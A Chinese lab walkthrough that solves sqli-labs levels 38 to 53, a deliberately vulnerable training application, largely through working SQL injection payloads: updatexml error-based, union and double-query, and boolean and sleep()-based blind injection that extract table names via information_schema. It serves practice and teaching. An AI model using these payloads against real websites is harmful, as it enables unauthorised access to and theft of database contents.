【Web安全靶场】sqli-labs-master 38-53 Stacked-Injections

sqli-labs-master 38-53 Stacked-Injections

其他关卡和靶场看专栏…

文章目录

  • sqli-labs-master 38-53 Stacked-Injections
    • 第三十八关-报错注入
    • 第三十九关-报错注入
    • 第四十关-盲注
    • 第四十一关-盲注
    • 第四十二关-联合报错双查询注入
    • 第四十三关-报错注入
    • 第四十四关-盲注
    • 第四十五关-盲注
    • 第四十六关-报错注入
    • 第四十七关-报错注入
    • 第四十八关-时间盲注
    • 第四十九关-时间盲注
    • 第五十关-报错注入
    • 第五十一关-报错注入
    • 第五十二关-时间盲注
    • 第五十三关-时间盲注
  • 总结

第三十八关-报错注入

?id=1'
?id=1' and '1'='1

通过上述语句可以判断这是单引号闭合,根据报错信息可以试一下报错注入:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

第三十九关-报错注入

?id=2-1

通过上述语句回显1的信息可以初步判断这是数字型注入,根据报错信息可以尝试报错注入

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在这里插入图片描述

第四十关-盲注

?id=1'
?id=1' and '1'='1
?id=1' and '1'='2
?id=1' and length(database())=8 and '1'='1

对于第一个语句页面没有回显错误信息,所以假设为单引号闭合试一下第二个和第三个发现页面仅仅有显示和不显示,所以使用盲注

第四十一关-盲注

?id=2-1
?id=2 and 1=1

第一段语句回显1的信息,第二段回显2的信息,得知这是字符型注入,没有报错信息,所以试一下盲注:

?id=1 and length(database())=8

第四十二关-联合报错双查询注入

对账号密码分别进行单引号探针发现,仅仅password部分有报错,根据报错信息得知这是单引号闭合,尝试union注入:

login_user=1&login_password=1' order by 3#&mysubmit=Login
login_user=1&login_password=1' order by 4#&mysubmit=Login

在这里插入图片描述

login_user=1&login_password=1' union select 1,database(),3#&mysubmit=Login

在这里插入图片描述

login_user=1&login_password=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#&mysubmit=Login

在这里插入图片描述

同样也可以进行双查询注入:

login_user=1&login_password=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&mysubmit=Login

在这里插入图片描述

也可以直接updatexml报错注入:

login_user=1&login_password=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login

在这里插入图片描述

第四十三关-报错注入

对账号密码进行引号探针发现仅仅password部分显示报错信息,根据报错信息可以知道这是单引号加上括号闭合:

在这里插入图片描述

尝试报错注入,报错内容正常回显:

login_user=1&login_password=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login

在这里插入图片描述

第四十四关-盲注

login_user=1&login_password=1' or '1'='1&mysubmit=Login

在对账号和密码添加引号时候发现没有任何报错,所以有可能print_r(mysqli_error())被注释了。尝试or,发现成功登录:

在这里插入图片描述

所以判断这是单引号闭合,由于没有报错信息所以尝试Union注入。输入order by判断字段数时候,发现原来应有的报错信息变成了登录失败,order by 3以内为成功,4及以上为登录失败,所以union select 1,2,3判断回显位,发现没有回显位,所以只能进行盲注:

login_user=1&login_password=1' or length(database())=8 -- #&mysubmit=Login

第四十五关-盲注

login_user=1&login_password=1' or '1'='1&mysubmit=Login
login_user=1&login_password=1" or "1"="1&mysubmit=Login

通过上述语句并没有得到任何的报错信息,所以猜测存在括号:

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

查看源代码发现确实存在括号,所以构造闭合,成功登录:

login_user=1&login_password=1') or ('1'='1&mysubmit=Login

在这里插入图片描述

由于没有报错信息所以使用盲注:

login_user=1&login_password=1') or length(database())=8 -- #&mysubmit=Login

第四十六关-报错注入

查看源代码发现order by关键字,这个关键字的作用就是针对第几列进行升序排序

$sql = "SELECT * FROM users ORDER BY $id";

对参数值进行探针,发现order by后面是可以添加语句的,添加引号发现存在报错信息,所以尝试报错注入:

?sort=3 and sleep(3)
?sort=4 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在这里插入图片描述

第四十七关-报错注入

添加引号之后回显报错信息,可知这是单引号闭合,并且可以尝试报错注入

在这里插入图片描述

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

第四十八关-时间盲注

添加单引号之后发现没有返回排序信息,并且没有报错信息,所以猜测报错函数被注释了,故尝试盲注。使用2-1发现和1的效果是一样的,所以判断是数字型注入

?sort=1 and if(length(database())=8,sleep(2),1)

这一道题使用不了布尔盲注,因为sort的值仅仅是order by的值而不是where条件值。

第四十九关-时间盲注

使用单引号探针没有回显报错信息,所以猜测报错函数被注释了,所以尝试:

?sort=1' -- #

页面正常显示,所以判断这是单引号闭合,由于报错函数被注释所以使用盲注:

?sort=1' and if(length(database())=8,sleep(1),1) -- #

第五十关-报错注入

单引号探针显示报错信息,所以判断这是数字型注入,且可以尝试报错注入:

在这里插入图片描述

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在这里插入图片描述

第五十一关-报错注入

好简单:

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

第五十二关-时间盲注

引号探针没有回显任何信息,使用1’ and ‘1’='1并没有正常显示,使用2-1回显1的信息,所以判断是数字型注入,由于没有报错信息,所以使用时间盲注:

?sort=1 and if(length(database())=8,sleep(1),1)

第五十三关-时间盲注

服了,后面为什么这么简单…加上单引号没有东西显示,所以我们尝试闭合并使用时间盲注:

?sort=1' and sleep(3) -- #

有延时,所以存在时间盲注。

总结

后面的真的好简单,没啥好总结的,做了这么多题发现这一部分没啥好看的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/423465.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JVM调优,调整JVM参数

JDK8之后把-XX:PermSize和-XX:MaxPermGen移除了,取而代之的是XX:MetaspaceSize128m (元空间默认大小) -XX:MaxMetaspaceSize128m (元空间最大大小) JDK 8开始把类的元数据放到本地化的堆内存(native heap)中&#xff0…

基于yolov8与pyqt5的火焰烟雾实时检测系统设计

界面 权重:可以选择自己训练的yolov8模型,也可以用一些改进的yolov8模型作为系统的权重。 功能:单张图片的检测,视频文件的检测,多张图片同时检测,以及摄像头实时检测。 调整:可以调整置信度&…

AP8851H DC-DC降压恒压IC+协议芯片 USB PD快充方案电源驱动

产品描述 AP8851H 一款宽电压范围降压型DC-DC 电源管理芯片,内部集成使能开关控制、基准电源、误差放大器、过热保护、限流保护、短路保护等功能,非常适合在宽输入电压范围具有优良的负载和线性调整度。AP8851H 芯片包含每周期的峰值限流、软启动、过压保…

【Easyx】easyx从入门到精通 — 初步入门

easyx 初步入门 1 安装easyx图形库2 如何使用Easyx3 效果初试4 基本图形绘制4.1 绘制点4.2 绘制直线4.3 绘制圆形4.4 绘制矩形4.5 绘制椭圆4.6 绘制圆角矩形4.7 绘制扇形 Thanks♪(・ω・)ノ谢谢阅读!!!下一篇…

科学家用乳清蛋白海绵高效环保提取电子废物中的黄金

科学家们发现乳制品加工产生的副产品——乳清蛋白在提取电子废弃物中的黄金方面表现出色,极大地提高了回收效率,并大幅降低了能源消耗成本。Raffaele Mezzenga教授领导的科研团队利用乳清蛋白质制造出一种有机海绵,通过酸浴和高温变性乳清蛋白…

论文里点击如图?-?如何跳转到图片的题注

写论文,如何点击如图?-?然后光标自己能跳转到指定图片的题注之前呢? 首先,你要确定自己已经列好了标题,如几点几,几点几,比如我写到第三个章节的标题为 3.2 XXXXXXXXX 那么接下来后面的操作会出现图3-&…

【饮食】日常零食 保健食品分类(附食品营养成分表与执行标准,Coursera营养学课程笔记)

程序员生活指南之 【饮食】日常零食 & 保健食品分类和推荐(附食品营养成分表与执行标准) 文章目录 一、保健食品1、什么是保健食品?2、常见保健食品分类3、常见保健食品推荐 二、日常零食(食品营养成分表与执行标准&#xff0…

备战蓝桥杯---动态规划之悬线法

Em...属于一知道就会,不知道的话比较难想。 我们先看题: 我们不妨把1抽象成一个平面上的点,因此可以变成这一幅图: 我们假设每一个点被向上牵拉了一根线: 显然,每一条悬线都有可能成为边界限制&#xff0c…

46、WEB攻防——通用漏洞PHP反序列化原生类漏洞绕过公私有属性

文章目录 几种常用的魔术方法1、__destruct()2、__tostring()3、__call()4、__get()5、__set()6、__sleep()7、__wakeup()8、__isset()9、__unset()9、__invoke() 三种变量属性极客2019 PHPphp原生类 几种常用的魔术方法 1、__destruct() 当删除一个对象或对象操作终止时被调…

求职招聘类App如何打造的更卓越:解析关键功能和发展趋势

随着人才市场的竞争日益激烈,求职招聘类App成为现代职场中不可或缺的工具。对您来说,一款卓越的求职招聘类App满足您用户的多样化需求是很有必要的。在这篇文章中,我们将深入探讨其关键功能和行业发展趋势,助您的App在市场中脱颖而…

Docker 安装配置数据库

那么在安装之前小编给猿友们普及一下mysql的作用! MySQL是一个关系型数据库管理系统(RDBMS),由瑞典的MySQL AB公司开发,现在属于Oracle旗下产品。它是世界上最流行的关系型数据库管理系统之一,尤其在WEB应…

鸿蒙Harmony应用开发—ArkTS声明式开发(通用属性:颜色渐变)

设置组件的颜色渐变效果。 说明: 从API Version 7开始支持。后续版本如有新增内容,则采用上角标单独标记该内容的起始版本。 linearGradient linearGradient(value: { angle?: number | string; direction?: GradientDirection; colors: Array; repea…

INI 格式配置文件基础知识

前言 INI是英文“初始化”(initialization)的缩写,它是某些平台或软件上的配置文件的非正式标准,以节(section)和键(key)构成,常用于微软Windows操作系统中,这种配置文件的文件扩展名多为INI。INI文件被用来…

第16章-DNS

目录 1. 域名 1.1 产生背景 1.2 概述 1.3 域名的树形层次化结构 2. DNS 2.1 概述 2.2 工作机制 3. DNS查询模式 3.1 递归查询: 3.2 迭代查询: 4. 相关知识点 4.1 集中式DNS 4.2 国内通用DNS 4.3 配置DNS代理 1. 域名 1.1 产生背景 ① IP…

SQL窗口函数, 测试题

第一题 create table user_score (logday date, -- 考试时间 userid VARCHAR(20), -- 考试用户 score int); -- 考试成绩Insert into user_score values (2019-10-20,11111,85) ,(2019-10-20,22222,83) ,(2019-10-20,33333,86) ,(2019-10-21,11111,87) ,(2019-10-2…

蓝桥杯(3.2)

1209. 带分数 import java.io.*;public class Main {static BufferedReader br new BufferedReader(new InputStreamReader(System.in));static PrintWriter pw new PrintWriter(new OutputStreamWriter(System.out));static final int N 10;static int n, cnt;static int[…

Pytorch学习 day02(加载数据、数据集类)

加载数据 * Dataset提供一种方式:来获取数据及其label,给数据进行编号 * Dataloader为神经网络提供不同的数据形式 Dataset的组织形式有很多种,例如: 将label放在文件夹名上,如下: #Dateset # --train #…

10分钟帮您快速理解InfluxDB中的核心概念

InfluxDB是目前时序数据库 (TSDB)最优秀的产品,时序数据库是一种设计和优化的数据库,用于注册和存储始终与特定时间点相关联或使用时间戳的数据。时序数据其实就是在不同时间点收集并按时间排序的数据。对于刚刚接触时序数据库的同学来说,好多…

Matlab偏微分方程拟合 | 源码分享 | 视频教程

专栏导读 作者简介:工学博士,高级工程师,专注于工业软件算法研究本文已收录于专栏:《复杂函数拟合案例分享》本专栏旨在提供 1.以案例的形式讲解各类复杂函数拟合的程序实现方法,并提供所有案例完整源码;2.…

利用css实现常见图形

1、正圆形 给正方形盒子设置圆角属性为宽高的50%。 div {width: 100px;height: 100px;background-color: plum;border-radius: 50%; } 2、胶囊形 给长方形盒子设置圆角属性为盒子高度的50%。 div {width: 200px;height: 100px;background-color: plum;border-radius: 50px…